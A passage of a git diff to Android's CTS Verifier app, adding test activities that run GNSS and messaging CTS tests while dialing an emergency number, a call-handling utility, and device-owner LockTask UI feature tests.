+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.GnssMeasurementValuesTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS GnssMeasurementValuesTest while dialing emergency number.
+ * It is a wrapper for {@link GnssMeasurementValuesTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallGNSSTestsActivity extends EmergencyCallBaseTestActivity {
+ // GNSS test has a longer timeout
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.MINUTES.toMillis(2);
+
+ public EmergencyCallGNSSTestsActivity() {
+ super(GnssMeasurementValuesTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return false;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
new file mode 100644
index 0000000..7377065
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallMessageTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallMessageTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallMessageTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallMessageTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallMessageTestsActivity extends EmergencyCallBaseTestActivity {
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+ public EmergencyCallMessageTestsActivity() {
+ super(EmergencyCallMessageTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return true;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
new file mode 100644
index 0000000..634863d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallWifiTestsActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import android.location.cts.EmergencyCallWifiTest;
+import com.android.cts.verifier.location.base.EmergencyCallBaseTestActivity;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity to execute CTS EmergencyCallWifiTest while dialing emergency number.
+ * It is a wrapper for {@link EmergencyCallWifiTest} running with AndroidJUnitRunner.
+ */
+public class EmergencyCallWifiTestsActivity extends EmergencyCallBaseTestActivity {
+ private static final long PHONE_CALL_DURATION_MS = TimeUnit.SECONDS.toMillis(35);
+ public EmergencyCallWifiTestsActivity() {
+ super(EmergencyCallWifiTest.class);
+ }
+
+ @Override
+ protected long getPhoneCallDurationMs() {
+ return PHONE_CALL_DURATION_MS;
+ }
+
+ @Override
+ protected boolean showLocalNumberInputbox() {
+ return false;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
new file mode 100644
index 0000000..ef88e9b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallBaseTestActivity.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.AlertDialog;
+import android.content.DialogInterface;
+import android.location.cts.GnssTestCase;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.LayoutInflater;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.FrameLayout;
+import com.android.cts.verifier.R;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An Activity that allows Gnss CTS tests to be executed inside CtsVerifier.
+ *
+ * Sub-classes pass the test class as part of construction.
+ * One JUnit test class is executed per Activity, the test class can still be executed outside
+ * CtsVerifier.
+ */
+public abstract class EmergencyCallBaseTestActivity extends GnssCtsTestActivity {
+ private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+ private static final String defaultPhonePackageName = "com.google.android.dialer";
+
+ /**
+ * Constructor for a CTS test executor. It will execute a standalone CTS test class.
+ *
+ * @param testClass The test class to execute, it must be a subclass of {@link AndroidTestCase}.
+ */
+ protected EmergencyCallBaseTestActivity(Class<? extends GnssTestCase> testClass) {
+ super(testClass);
+ }
+
+ protected abstract long getPhoneCallDurationMs();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ // override the test info
+ mTextView.setText(R.string.location_emergency_call_test_info);
+ EmergencyCallUtil.setDefaultDialer(this, this.getPackageName());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ EmergencyCallUtil.setDefaultDialer(this, defaultPhonePackageName);
+ }
+
+ protected abstract boolean showLocalNumberInputbox();
+
+ @Override
+ public void onClick(View target) {
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ final FrameLayout frameView = new FrameLayout(this);
+ builder.setView(frameView);
+
+ final boolean enableLocalNumberInputBox = showLocalNumberInputbox();
+ final AlertDialog alertDialog = builder.create();
+ LayoutInflater inflater = alertDialog.getLayoutInflater();
+
+ View dialogView;
+ if (enableLocalNumberInputBox) {
+ dialogView =
+ inflater.inflate(R.layout.emergency_call_msg_test_confirm_dialog, frameView);
+ } else {
+ dialogView = inflater.inflate(R.layout.emergency_call_confirm_dialog, frameView);
+ }
+ final EditText targetNumberEditText =
+ (EditText) dialogView.findViewById(R.id.emergency_number);
+ final Button dialButton = (Button) dialogView.findViewById(R.id.dial_button);
+ dialButton.setOnClickListener(new Button.OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ if (enableLocalNumberInputBox) {
+ final EditText currentNumberEditText =
+ (EditText) dialogView.findViewById(R.id.local_phone_number);
+ String currentNumber = currentNumberEditText.getText().toString();
+ // pass the number to cts tests for cts verifier UI, through System property.
+ System.setProperty(PHONE_NUMBER_KEY, currentNumber);
+ }
+ int targetPhoneNumber =
+ Integer.parseInt(targetNumberEditText.getText().toString());
+ long callDurationMs = EmergencyCallBaseTestActivity.this.getPhoneCallDurationMs();
+ EmergencyCallUtil.makePhoneCall(
+ EmergencyCallBaseTestActivity.this, targetPhoneNumber);
+ EmergencyCallBaseTestActivity.super.onClick(target);
+ EmergencyCallUtil.endCallWithDelay(
+ EmergencyCallBaseTestActivity.this.getApplicationContext(), callDurationMs);
+ alertDialog.dismiss();
+ }
+ });
+ alertDialog.show();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
new file mode 100644
index 0000000..12b7ac2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/EmergencyCallUtil.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location.base;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
+import android.text.InputType;
+import android.util.Log;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import com.android.cts.verifier.R;
+import java.lang.reflect.Method;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * The EmergencyCallUtil class provides util functions related to the emergency call.
+ */
+public class EmergencyCallUtil {
+ private static final int REQUEST_CODE_SET_DEFAULT_DIALER = 1;
+ private static final String TAG = "EmergencyCallUtil";
+ private static final long WAIT_FOR_CONNECTION_MS = TimeUnit.SECONDS.toMillis(3);
+
+ /*
+ * This method is used to set default dialer app.
+ * To dial 911, it requires to set the dialer to be the system default dial app.
+ *
+ * @param activity current Activity.
+ * @param packageName dialer package name.
+ */
+ public static void setDefaultDialer(Activity activity, String packageName) {
+ final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+ intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+ activity.startActivityForResult(intent, REQUEST_CODE_SET_DEFAULT_DIALER);
+ }
+
+ public static void makePhoneCall(Activity activity, int phoneNumber) {
+ Intent callIntent = new Intent(Intent.ACTION_CALL);
+ callIntent.setData(Uri.parse("tel:" + phoneNumber));
+ try {
+ callIntent.setFlags(Intent.FLAG_ACTIVITY_NO_USER_ACTION);
+ activity.startActivityForResult(callIntent, REQUEST_CODE_SET_DEFAULT_DIALER);
+ } catch (SecurityException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ // sleep 3sec to make sure call is connected
+ activity.runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ Thread.sleep(WAIT_FOR_CONNECTION_MS);
+ } catch (InterruptedException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ }
+ });
+ }
+
+ public static void endCallWithDelay(Context context, long delayMs) {
+ Runnable runnable = new Runnable() {
+ @Override
+ public void run() {
+ try {
+ Thread.sleep(delayMs);
+ endCall(context);
+ } catch (InterruptedException ex) {
+ Log.d(TAG, "Failed to make the phone call: " + ex.toString());
+ }
+ }
+ };
+ new Thread(runnable).start();
+ }
+
+ private static void endCall(Context context) {
+ try {
+ TelephonyManager telephonyManager =
+ (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+
+ Class<?> classTelephony = Class.forName(telephonyManager.getClass().getName());
+ Method methodGetITelephony = classTelephony.getDeclaredMethod("getITelephony");
+ methodGetITelephony.setAccessible(true);
+
+ Object telephonyInterface = methodGetITelephony.invoke(telephonyManager);
+
+ Class<?> telephonyInterfaceClass =
+ Class.forName(telephonyInterface.getClass().getName());
+ Method methodEndCall = telephonyInterfaceClass.getDeclaredMethod("endCall");
+
+ methodEndCall.invoke(telephonyInterface);
+
+ } catch (Exception e) {
+ Log.d(TAG, "Failed to cancel the call: " + e.toString());
+ }
+ }
+
+ private static String getCurrentPhoneNumber(Activity activity) {
+ TelephonyManager tMgr =
+ (TelephonyManager)activity.getSystemService(Context.TELEPHONY_SERVICE);
+ return tMgr.getLine1Number();
+ }
+
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 1d4d13a..4ea451a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -39,14 +39,12 @@
import android.widget.Toast;
import com.android.cts.verifier.R;
-import com.android.cts.verifier.managedprovisioning.Utils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
-import java.util.List;
import java.util.concurrent.TimeUnit;
public class CommandReceiverActivity extends Activity {
@@ -68,6 +66,7 @@
public static final String COMMAND_SET_KEYGUARD_DISABLED = "set-keyguard-disabled";
public static final String COMMAND_SET_LOCK_SCREEN_INFO = "set-lock-screen-info";
public static final String COMMAND_SET_STATUSBAR_DISABLED = "set-statusbar-disabled";
+ public static final String COMMAND_SET_LOCK_TASK_FEATURES = "set-lock-task-features";
public static final String COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS =
"allow-only-system-input-methods";
public static final String COMMAND_ALLOW_ONLY_SYSTEM_ACCESSIBILITY_SERVICES =
@@ -220,6 +219,11 @@
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
mDpm.setStatusBarDisabled(mAdmin, enforced);
} break;
+ case COMMAND_SET_LOCK_TASK_FEATURES: {
+ int flags = intent.getIntExtra(EXTRA_VALUE,
+ DevicePolicyManager.LOCK_TASK_FEATURE_NONE);
+ mDpm.setLockTaskFeatures(mAdmin, flags);
+ } break;
case COMMAND_ALLOW_ONLY_SYSTEM_INPUT_METHODS: {
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
mDpm.setPermittedInputMethods(mAdmin, enforced ? new ArrayList() : null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index f54e567..7cc1db5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -25,6 +25,7 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.PersistableBundle;
+import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
import com.android.cts.verifier.R;
@@ -76,6 +77,20 @@
R.string.bugreport_failed_completing), Utils.BUGREPORT_NOTIFICATION_ID);
}
+ @Override
+ public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+ Log.i(TAG, "Entering LockTask mode: " + pkg);
+ LocalBroadcastManager.getInstance(context)
+ .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STARTED));
+ }
+
+ @Override
+ public void onLockTaskModeExiting(Context context, Intent intent) {
+ Log.i(TAG, "Exiting LockTask mode");
+ LocalBroadcastManager.getInstance(context)
+ .sendBroadcast(new Intent(LockTaskUiTestActivity.ACTION_LOCK_TASK_STOPPED));
+ }
+
private void setupProfile(Context context) {
DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 0cae6be..55b2b9c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -21,7 +21,6 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
@@ -29,12 +28,10 @@
import android.os.Bundle;
import android.os.UserManager;
import android.provider.Settings;
-import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import com.android.cts.verifier.ArrayTestListAdapter;
-import com.android.cts.verifier.IntentDrivenTestActivity;
import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -60,6 +57,7 @@
private static final String WIFI_LOCKDOWN_TEST_ID = WifiLockdownTestActivity.class.getName();
private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
+ private static final String LOCK_TASK_UI_TEST_ID = "LOCK_TASK_UI";
private static final String CHECK_PERMISSION_LOCKDOWN_TEST_ID =
PermissionLockdownTestActivity.class.getName();
private static final String DISALLOW_CONFIG_BT_ID = "DISALLOW_CONFIG_BT";
@@ -279,6 +277,14 @@
CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
false))}));
+ // setLockTaskFeatures
+ final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
+ lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID, LOCK_TASK_UI_TEST_ID);
+ adapter.add(createTestItem(this, LOCK_TASK_UI_TEST_ID,
+ R.string.device_owner_lock_task_ui_test,
+ lockTaskUiTestIntent));
+
+ // setUserIcon
adapter.add(createInteractiveTestItem(this, SET_USER_ICON_TEST_ID,
R.string.device_owner_set_user_icon,
R.string.device_owner_set_user_icon_instruction,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 71c4421..3a16297 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -269,19 +269,18 @@
CommandReceiverActivity.
COMMAND_REMOVE_MANAGED_PROFILE))}));
}
- // Disabled for API 26 due to b/63696536.
- // adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
- // R.string.enterprise_privacy_failed_password_wipe,
- // R.string.enterprise_privacy_failed_password_wipe_info,
- // new ButtonInfo[] {
- // new ButtonInfo(R.string.enterprise_privacy_open_settings,
- // new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
- // new ButtonInfo(R.string.enterprise_privacy_set_limit,
- // buildCommandIntent(CommandReceiverActivity
- // .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
- // new ButtonInfo(R.string.enterprise_privacy_finish,
- // buildCommandIntent(CommandReceiverActivity
- // .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
+ adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
+ R.string.enterprise_privacy_failed_password_wipe,
+ R.string.enterprise_privacy_failed_password_wipe_info,
+ new ButtonInfo[] {
+ new ButtonInfo(R.string.enterprise_privacy_open_settings,
+ new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_limit,
+ buildCommandIntent(CommandReceiverActivity
+ .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+ new ButtonInfo(R.string.enterprise_privacy_finish,
+ buildCommandIntent(CommandReceiverActivity
+ .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)) {
adapter.add(createInteractiveTestItem(this,
ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
new file mode 100644
index 0000000..a6e6b2f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.DataSetObserver;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.TestResult;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)}.
+ */
+public class LockTaskUiTestActivity extends PassFailButtons.TestListActivity {
+
+ private static final String TAG = LockTaskUiTestActivity.class.getSimpleName();
+
+ public static final String EXTRA_TEST_ID =
+ "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
+
+ /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask starts. */
+ static final String ACTION_LOCK_TASK_STARTED =
+ "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STARTED";
+ /** Broadcast action sent by {@link DeviceAdminTestReceiver} when LockTask stops. */
+ static final String ACTION_LOCK_TASK_STOPPED =
+ "com.android.cts.verifier.managedprovisioning.action.LOCK_TASK_STOPPED";
+
+ private static final ComponentName ADMIN_RECEIVER =
+ DeviceAdminTestReceiver.getReceiverComponentName();
+ private static final String TEST_PACKAGE_NAME = "com.android.cts.verifier";
+ private static final String ACTION_STOP_LOCK_TASK =
+ "com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK";
+
+ private static final String TEST_ID_DEFAULT = "lock-task-ui-default";
+ private static final String TEST_ID_SYSTEM_INFO = "lock-task-ui-system-info";
+ private static final String TEST_ID_NOTIFICATIONS = "lock-task-ui-notifications";
+ private static final String TEST_ID_HOME = "lock-task-ui-home";
+ private static final String TEST_ID_RECENTS = "lock-task-ui-recents";
+ private static final String TEST_ID_GLOBAL_ACTIONS = "lock-task-ui-global-actions";
+ private static final String TEST_ID_KEYGUARD = "lock-task-ui-keyguard";
+ private static final String TEST_ID_STOP_LOCK_TASK = "lock-task-ui-stop-lock-task";
+
+ private DevicePolicyManager mDpm;
+ private ActivityManager mAm;
+ private NotificationManager mNotifyMgr;
+
+ private LockTaskStateChangedReceiver mStateChangedReceiver;
+ private CountDownLatch mLockTaskStartedLatch;
+ private CountDownLatch mLockTaskStoppedLatch;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.device_owner_lock_task_ui);
+ setPassFailButtonClickListeners();
+
+ mDpm = getSystemService(DevicePolicyManager.class);
+ mAm = getSystemService(ActivityManager.class);
+ mNotifyMgr = getSystemService(NotificationManager.class);
+
+ final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+ addTestsToAdapter(adapter);
+ adapter.registerDataSetObserver(new DataSetObserver() {
+ @Override
+ public void onChanged() {
+ updatePassButton();
+ }
+ });
+ setTestListAdapter(adapter);
+
+ Button startLockTaskButton = findViewById(R.id.start_lock_task_button);
+ startLockTaskButton.setOnClickListener((view) -> startLockTaskMode());
+
+ if (ACTION_STOP_LOCK_TASK.equals(getIntent().getAction())) {
+ // This means we're started by the "stop LockTask mode" test activity (the last one in
+ // the list) in order to stop LockTask.
+ stopLockTaskMode();
+ }
+ }
+
+ private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ adapter.add(createInteractiveTestItem(this,
+ TEST_ID_DEFAULT,
+ R.string.device_owner_lock_task_ui_default_test,
+ R.string.device_owner_lock_task_ui_default_test_info,
+ new ButtonInfo[]{}));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_SYSTEM_INFO,
+ LOCK_TASK_FEATURE_SYSTEM_INFO,
+ R.string.device_owner_lock_task_ui_system_info_test,
+ R.string.device_owner_lock_task_ui_system_info_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_NOTIFICATIONS,
+ LOCK_TASK_FEATURE_NOTIFICATIONS,
+ R.string.device_owner_lock_task_ui_notifications_test,
+ R.string.device_owner_lock_task_ui_notifications_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_HOME,
+ LOCK_TASK_FEATURE_HOME,
+ R.string.device_owner_lock_task_ui_home_test,
+ R.string.device_owner_lock_task_ui_home_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_RECENTS,
+ LOCK_TASK_FEATURE_RECENTS,
+ R.string.device_owner_lock_task_ui_recents_test,
+ R.string.device_owner_lock_task_ui_recents_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_GLOBAL_ACTIONS,
+ LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+ R.string.device_owner_lock_task_ui_global_actions_test,
+ R.string.device_owner_lock_task_ui_global_actions_test_info));
+
+ adapter.add(createSetLockTaskFeaturesTest(
+ TEST_ID_KEYGUARD,
+ LOCK_TASK_FEATURE_KEYGUARD,
+ R.string.device_owner_lock_task_ui_keyguard_test,
+ R.string.device_owner_lock_task_ui_keyguard_test_info));
+
+ final Intent stopLockTaskIntent = new Intent(this, LockTaskUiTestActivity.class);
+ stopLockTaskIntent.setAction(ACTION_STOP_LOCK_TASK);
+ adapter.add(createInteractiveTestItem(this,
+ TEST_ID_STOP_LOCK_TASK,
+ R.string.device_owner_lock_task_ui_stop_lock_task_test,
+ R.string.device_owner_lock_task_ui_stop_lock_task_test_info,
+ new ButtonInfo(
+ R.string.device_owner_lock_task_ui_stop_lock_task_test,
+ stopLockTaskIntent
+ )));
+ }
+
+ /** Receives LockTask start/stop callbacks forwarded by {@link DeviceAdminTestReceiver}. */
+ private final class LockTaskStateChangedReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ switch (action) {
+ case ACTION_LOCK_TASK_STARTED:
+ if (mLockTaskStartedLatch != null) {
+ mLockTaskStartedLatch.countDown();
+ }
+ break;
+ case ACTION_LOCK_TASK_STOPPED:
+ if (mLockTaskStoppedLatch != null) {
+ mLockTaskStoppedLatch.countDown();
+ }
+ break;
+ }
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mStateChangedReceiver = new LockTaskStateChangedReceiver();
+ final IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_LOCK_TASK_STARTED);
+ filter.addAction(ACTION_LOCK_TASK_STOPPED);
+ LocalBroadcastManager.getInstance(this).registerReceiver(mStateChangedReceiver, filter);
+ }
+
+ @Override
+ protected void onPause() {
+ if (mStateChangedReceiver != null) {
+ LocalBroadcastManager.getInstance(this).unregisterReceiver(mStateChangedReceiver);
+ mStateChangedReceiver = null;
+ }
+ super.onPause();
+ }
+
+ /**
+ * Starts LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+ * LockTask has started successfully. If the callback isn't received, the entire test will be
+ * marked as failed.
+ *
+ * @see LockTaskStateChangedReceiver
+ */
